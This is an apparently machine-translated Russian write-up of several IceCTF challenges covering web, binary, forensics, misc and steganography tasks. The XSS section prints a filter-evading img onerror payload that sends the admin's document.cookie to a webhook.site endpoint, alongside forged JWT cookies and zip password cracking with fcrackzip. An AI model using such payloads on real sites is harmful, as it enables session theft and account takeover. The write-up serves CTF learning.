Один из моих любимых соревнований - IceCTF - и он произвел на меня такое впечатление, когда я впервые играл в игру, два года назад, когда они провели свой первый CTF в 2016 году.
ПРИМЕЧАНИЕ. Мне нужно написать еще много статей - эта статья еще не закончена. Я буду добавлять по мере того, как пройдет время, и я закончу писать больше, я просто хотел иметь что-то, что можно было бы продемонстрировать на CTFtime, чтобы все сдвинулось с мертвой точки.
В этом году у них была совершенно новая платформа с «Противником» и аналогичная кривая обучения, но в этом году были гораздо более сложные задачи.
Я играл с несколькими участниками моего сервера Discord (JHDiscord, https://discord.gg/qS2UzAy), и у нас все хорошо. Некоторое время мы боролись за высокое место в топ-10, переходя с 1-го места на 3-е на 6-е и так далее. Я считал, что мы заняли 6-е место, но из более чем 2300 команд я считаю, что это неплохо!
(PS. Если вы хотите присоединиться к вечеринке и сыграть с нами, не стесняйтесь присоединиться к Discord. Это крутое сообщество, выросшее из моего канала на YouTube: https://youtube.com/johnhammond010)
Перейдем к описанию.
Интернет
Это моя любимая категория, но у IceCTF не так много хард-хитов, за исключением самого последнего испытания.
Перезапуск Toke (50 очков)
Мы перезапустили наш знаменитый сайт Toke! Надеюсь, никто не взломает его снова и не снимет, как в прошлый раз. Https://static.icec.tf/toke/
Вы можете изучить веб-сайт и источник, но вы не найдете много.
Уловка здесь заключается в том, чтобы выполнить обычный контрольный список для классической веб-задачи CTF. Проверьте низко висящий фрукт: проверьте, существует ли robots.txt
.
В этом случае он находится не в самом корневом каталоге, а в верхней части веб-сервера - он находится в папке в URL-адресе из каталога toke
. Таким образом, URL-адрес будет выглядеть так: https://static.icec.tf/toke/robots.txt
User-agent: * Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html
Вы можете увидеть ссылку здесь. Перейдя на эту страницу (опять же, в каталоге toke
), вы сразу увидите флаг.
Флаг: IceCTF {what_are_these_robots_doing_here}
Отбой! (75 баллов)
Помощь! Мы боимся темноты! Https://static.icec.tf/lights_out
Еще одна проблема с небольшим количеством исходного кода HTML. Так что поищем в другом месте. Не забудьте проверить все файлы, включенные в веб-задание!
Вам нужно проверить файл main.css
.
Но по умолчанию текст как бы уменьшен и весь замят вместе. К счастью, мы можем использовать инструменты разработчика Chrome для их предварительной настройки (просмотрев этот источник и нажав {}
)
Теперь мы можем предположить, что они пытаются спрятать здесь что-то (так как все было минифицировано), поэтому я решил, что буду искать или Ctrl+F
для формата флага. Я пробовал такие вещи, как IceCTF
или просто CTF
, и последнее мне очень понравилось.
Вы обнаружите, что части флага сегментированы в различных HTML-элементах, которым присваивается свойство CSS content
для части флага. Если вы начнете Ctrl+F
и будете искать эти content
свойства, вы сможете выкопать кусочки флага и начать собирать их вместе.
Флаг: IceCTF {styles_turned_the_lights}.
Фридфиннур! (200 баллов)
Ева хочет создать самый популярный новый веб-сайт для поиска работы на рынке! Заядлый разработчик PHP, она решила использовать самый популярный новый фреймворк, Laravel! Однако я не думаю, что она знала, как развертывать веб-сайты в таком масштабе… https://c1m9n0xeu7gv4xd-fridfinnur.labs.icec.tf/
Этот вызов был немного забавным. Я не уверен, что решение, которое я нашел, должно было быть настоящим решением, потому что оно кажется просто ... забавным.
Проблема заключается в том, что веб-страница Bootstrap собрана вместе с PHP Laravel.
Фактически, вы можете увидеть внизу справа внизу панель Laravel PHP DebugBar. Я покопался в этом и увидел несколько интересных переменных, но особого внимания не получил.
Когда я заглянул на другие веб-страницы, я увидел, что там перечислены разные «вакансии», и вы, предположительно, можете «подать заявку» на каждую из них.
Достаточно интересно, что когда я попытался вернуться на страницу «Вакансии» при просмотре одной конкретной работы, сайт сломался и выплюнул флаг.
Я уверен, что это должно быть по крайней мере отчасти намеренно, учитывая, что код буквально выдает исключение с флагом. Но это все! Это все, что нужно!
Флаг: IceCTF {you_found_debug}.
История вычислительной техники (400 баллов)
Эту страницу сделал один из авторов IceCTF, но я не думаю, что это очень точно. Сможете ли вы взломать его до того, как команду IceCTF подадут в суд? Https://c1m9n0xeu7gv4xd-history.labs.icec.tf/
Это было потрясающе.
Первоначально он был сломан, когда он был впервые выпущен, и это было огромным обломом для всех людей, которые спешили найти первое решение.
Это выглядело как небольшой веб-сайт, на котором пользователь мог зарегистрировать учетную запись, войти в систему и добавить комментарии к двум статьям.
Если вы добавили комментарий, была возможность «пожаловаться» на комментарий и позволить администратору просмотреть его. Как правило, это серьезный признак и индикатор уязвимости межсайтового скриптинга в задачах CTF.
Так что я попытался добавить в комментарии полезные данные… но, похоже, все было правильно убрано. Все HTML-теги будут закодированы в HTML - это выглядело безопасным.
Но каждый комментарий также включал наше имя пользователя, поэтому я попытался зарегистрировать учетную запись с некоторыми из этих персонажей ... но и там не повезло.
В какой-то момент своего открытия я обнаружил файлы cookie: session
и token
. Оба выглядели как JWT (Java Web Token) в их формате данных в кодировке base64 и точках, разделяющих каждый раздел. Я взглянул на их содержимое на https://jwt.io/… но мне и моей команде потребовалось некоторое время, прежде чем мы достигли прозрения.
Это token
файл cookie:
В конце концов, мы поняли, что можем манипулировать файлами cookie и изменять имя пользователя - и функция комментариев может считывать файл cookie, и наша полезная нагрузка XSS может пройти!
Я сделал это вручную, воссоздав содержимое Base64. Если хотите, вы можете написать сценарий всей атаки. Вот какой-то грязный код, чтобы просто выбросить пользовательскую закодированную версию файла cookie:
Просто ради демонстрации этого вручную, вы можете просто вставить это значение cookie во что-то вроде EditThisCookie ... но опять же, если вы хотите создать для этого какой-нибудь замечательный requests
модуль get_flag скрипт, вы совершенно точно сможете.
ВНИМАНИЕ: при предварительном просмотре комментария на главной странице внедренный HTML-код не отображается. Вам нужно будет щелкнуть по нему и просмотреть конкретный комментарий, чтобы он действительно вызвал.
Попытка использовать теги <script>
блокируется фильтром. После некоторого тестирования выяснилось, что alert
также отфильтрован.
Так что нам просто нужно уклониться от этого. Мне нравится использовать классическое злоупотребление тегами img
и пробовать другое тестирование вывода, чтобы убедиться, что JavaScript работает на нас.
<img src="" onerror="console.log('xss')"
Это стало хитом. Теперь мы можем настроить конечную точку с чем-то вроде https://requestbin.fullcontact.com/ и заставить нашу полезную нагрузку передавать некоторые интересные данные ... например, файл cookie администратора!
Вот полезная нагрузка, которую я использовал, с https://webhook.site. Я использую Base64 для кодирования файла cookie, чтобы он мог нормально передаваться по URL-адресам.
<img src="" onerror="document.location=\'https://webhook.site/c197380c-0bc5-430e-9a8a-dadd32670d64?cookie=\'+btoa(document.cookie)"
И после того, как мы сообщим о комментарии, мы получим новый запрос. Файл cookie закодирован как:
dG9rZW49ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2NpT2lKdWIyNWxJbjAuZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aVpteGhaeUk2SWtsalpVTlVSbnRvYjNCbElIbHZkU0JrYjI0bmRDQjBhR2x1YXlCMGFHbHpJR2x6SUdFZ2NtVmhiQ0JtYkdGbmZTSjkuOyBzZXNzaW9uPWV5SjFjMlZ5SWpveGZRLkRudjZWQS56UWJycDhuM1JnSldOZjRiQ2xWSmVlUEJ6VWM=
Теперь мы можем расшифровать эти файлы cookie как свои собственные и, по сути, стать пользователем-администратором.
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.; session=eyJ1c2VyIjoxfQ.Dnv6VA.zQbrp8n3RgJWNf4bClVJeePBzUc
Флаг отображается сразу после обновления. IceCTF {who_trusts_these_cookies_anyway?}
Двоичная эксплуатация
Простое переполнение (250 пунктов)
… [Длинный текст]…
Это действительно крутая демонстрация платформы Adversary. Это хорошее руководство по простому переполнению буфера. Шаги проведут вас через это - единственная интуиция и дополнительные знания, которые могут вам понадобиться, - это последний шаг.
Вас просят перейти с secret
на 0xcafebabe
. Однако мы не можем использовать только обычные буквы, которые можем набирать на клавиатуре ... поэтому нам нужно преобразовать их в некоторые необработанные байты.
Мы можем использовать Python, чтобы сделать это за нас. Мы можем сделать это с помощью встроенной struct
библиотеки или pwntools
, если она у вас установлена.
import struct struct.pack('<I', 0xcafebabe) # '\xbe\xba\xfe\xca'
Вы получите тот же результат с pwn
, но синтаксис немного проще для понимания.
import pwn pwn.p32(0xcafebabe) # '\xbe\xba\xfe\xca'
К счастью, веб-интерфейс позволяет нам вводить эти байты. Если вы заполните буфер и передадите их на secret
, вы получите флаг!
Криминалистика
Современный Пикассо (150 баллов)
Вот изображение современного цифрового абстрактного искусства. Но разве это больше, чем искусство? Https://static.icec.tf/picasso/picasso.gif
Я бы показал здесь GIF, но он не будет анимироваться на Medium - так что в этом нет смысла.
Суть этого в том, что анимированный GIF записывает что-то с сегментом изображения, разделенным в каждом кадре.
Итак, вывод, к которому мы можем прийти, заключается в том, что нам нужно по существу наложить все эти кадры друг на друга и увидеть изображение полностью нарисованным. Мы можем сократить это с помощью некоторых инструментов из ImageMagick (очевидно, вы могли бы это сделать вручную, но это было бы отстой. Всегда стремитесь к автоматизации).
convert picasso.gif %05d.png
Это позволит вырезать кадры в разные файлы PNG. Похоже, у нас есть около 66 из них, с которыми нужно работать. Опять же - давайте попробуем автоматизировать наш процесс.
Мы можем использовать ImageMagick, чтобы «наложить» эти изображения друг на друга ... но белый фон в конечном итоге перезапишет и удалит предыдущее изображение, так что мы можем убрать белый цвет.
ls *.png | while read line; do convert $line -transparent white $line; done
(Это дерьмовый однострочник, чтобы перебрать все рамки и удалить белый.)
Теперь, когда у нас есть прозрачность, мы можем наложить их на место.
ls *.png |while read line; do convert 00000.png $line -gravity center -composite 00000.png; done
Я использую этот цикл, чтобы собрать все картинки вместе. Я делаю здесь что-то умное: складываю их все в первое изображение - 00000.png
- это выходной файл «результата», но я включаю его в качестве ингредиентов для двух файлов, которые складываются… так что мы можем отслеживать наш прогресс по мере того, как мы повторить.
Затем мы можем просмотреть 00000.png
файл, и это будет наш полный, развернутый файл.
Получаем флаг!
хардшеллы (150 очков)
После недавнего взлома ноутбук был изъят и впоследствии проанализирован. Жертва взлома? Невинный мексиканский ресторан. В ходе расследования был обнаружен этот подозрительный файл. Можете ли вы найти какие-либо доказательства того, что виноват владелец этого ноутбука? Скачать файл:
hardshells
Нам предоставлен файл без расширения, поэтому мы можем быстро провести разведку:
$ file hardshells hardshells: Zip archive data, at least v1.0 to extract
Похоже на ZIP-файл, поэтому давайте добавим расширение, чтобы убедиться, что unzip
справится с этим нормально.
$ mv hardshells hardshells.zip $ unzip hardshells.zip Archive: hardshells.zip creating: hardshells/ [hardshells.zip] hardshells/d password:
- Но нужен пароль!
Давайте возьмем rockyou.txt
как надежный файл словаря и fcrackzip
как инструмент, чтобы попытаться подобрать пароль.
$ fcrackzip -v -D -u -p rockyou.txt hardshells.zip
Менее чем за секунду он находит пароль и находит его tacos
.
После его распаковки мы получаем странный файл d
. Проведя обычную разведку, мы видим…
$ file d d: Minix filesystem, V1, 30 char names, 20 zones
Файловая система. Мы можем попробовать установить его и посмотреть, есть ли что исследовать.
$ mkdir mountpoint $ sudo mount d mountpoint $ cd mountpoint $ ls dat
Есть файл dat
. Оказалось, что это просто похоже на data
, поэтому я подумал, что могу просмотреть файл в шестнадцатеричном редакторе и посмотреть, что я могу собрать воедино.
Посмотрите на интерпретируемый ASCII справа. Вы можете увидеть такие вещи, как IHDR
и IDAT
, которые являются заголовками структуры для файла изображения PNG! Если это файл PNG, вы можете увидеть, что магические байты в самом начале неверны. Он говорит PUG
, когда ему нужно сказать PNG
. Исправляя это и просматривая файл, мы видим…
Флаг: IceCTF {look_away_i_am_hacking}.
Разное
ilovebees (150 очков)
Я наткнулся на этот странный сайт. Это похоже на веб-сайт, созданный энтузиастом цветов, но похоже, что его перехватил кто-то… или что-то в этом роде.
Вы можете понять, что он пытается нам сказать? Https://static.icec.tf/iloveflowers/
Я много боролся с этой проблемой. Моя команда и я долго смотрели на это, не зная, что делать.
Мы просмотрели исходный код HTML, но не обнаружили ничего особенно ценного, кроме очень странного текста и сообщения в виде черного ящика с очевидным обратным отсчетом. Мы проверили обратный отсчет JavaScript и немного поигрались, чтобы таймер достиг нуля… но с этим ничего не произошло.
В конце концов кто-то откопал, что это отсылка к Halo Я люблю пчел https://en.wikipedia.org/wiki/I_Love_Bees. Мы посмотрели на предполагаемый код, но он не сделал ничего, кроме того, что делает оригинал… и на самом деле он не ничего. Итак, мы подумали, что это отвлекающий маневр.
Я продолжал копаться на веб-странице, пытаясь найти что-нибудь интересное. Я подумал: «Ну, с таким же успехом могу попробовать все», поэтому решил, что зеркалирую весь веб-сайт и исследую все файлы как можно больше.
wget -m "https://static.icec.tf/iloveflowers/"
При этом скачано все, что доступно с сайта.
… Но мне показалось, что я увидел что-то странное.
Загрузка favicon.gif
файла заняла немного больше времени.
По странной догадке я проверил размер файла всего, что скачал.
Какого черта? Файл favicon.gif
буквально больше всех остальных изображений. Что с этим файлом?
Я проверил strings
, и там была тонна хлама.
GIF89a ntfpriux-.sogmolinainibctarlibld-td t_mn_st__c_s ELIBCGNU x86d 64/-64.6 NETSCAPE2.0 /ItxQ ux-ntfprigmo.solinlibtarld-td ainibc i t_mn_st__c_sIBCGNU x86_2.d 64/-64.6 -_|| _D|q /Ir0) ]^| ntfux-.soprilinlibld-td gmoain i tart_mt__n_sibcc_sx86IBCGNU 64/-64.6 _t| /Iv0) ntfux-.soprilinlibld-td gmoain i tart_mt__n_sibcc_sx86IBCGNU _2.64/.6 -642.5 /Iv0) ux-ntfprigmolinlibain.so i tart_mn_sc_st__ibcld-td GNUIBC ...
После того, как я какое-то время смотрел на него и просматривал многое, я заметил кое-что еще более странное.
Мне показалось, что я видел следы чего-то вроде GLIBC
... и символов, которые могут быть в двоичном ... Но все они были перемешаны!
Я посмотрел на гифку и увидел анимацию. Потом меня осенило.
Внутри кадра GIF находится фрагментарный двоичный файл.
Итак, я сделал обычный ImageMagick convert
, чтобы получить кадры, а затем проверил их метаданные с помощью exiftool
. Он смог найти двоичные данные, и я мог даже извлечь их с помощью -b
(мне пришлось немного очистить их с помощью dd
и tail
) ... поэтому я запустил это на всех кадрах, собрал их в файл и попробовал для проверки двоичного файла.
Вот мой запутанный сценарий (без строки convert
):
Как видите, я обнаружил флаг в strings
нового файла. Какой безумный вызов!
Флаг: IceCTF {MY_FAVORITE_ICON}.
Стеганография
Drumbone
Я присоединился к паре хакерских каналов в IRC и начал получать эти странные сообщения. Кто-то прислал мне это изображение. Сможете ли вы выяснить, есть ли в нем что-нибудь подозрительное? Скачать файл:
drumbone.png
Нам дается файл изображения.
Учитывая, что это первая задача стеганографии, я снова провел свои обычные тесты с низко висящими фруктами. Запускаем образ через stegsolve.jar
.
После изучения каждого дисплея я обнаружил что-то особенное в наименее значимой части синего цвета.
Вы можете увидеть почти QR-код, но только с очень маленькими точками ...
Что ж, мы хотели бы увидеть, что переводит этот QR-код, поэтому давайте сохраним его и попробуем очистить его с помощью GIMP.
Я использовал «Обнаружение края» два или три раза, пока все точки не соединились.
Затем я инвертировал цвета и удалил все большие куски белого, окружающие черный, а затем использовал «Выбрать цвет», чтобы захватить оставшиеся белые полосы между черным. Я перевернул их и получил полный QR-код!
Сохранение этого изображения и запуск zbarimg
показывает флаг.
Флаг: IceCTF {Elliot_has_been_mapping_bits_all_day}.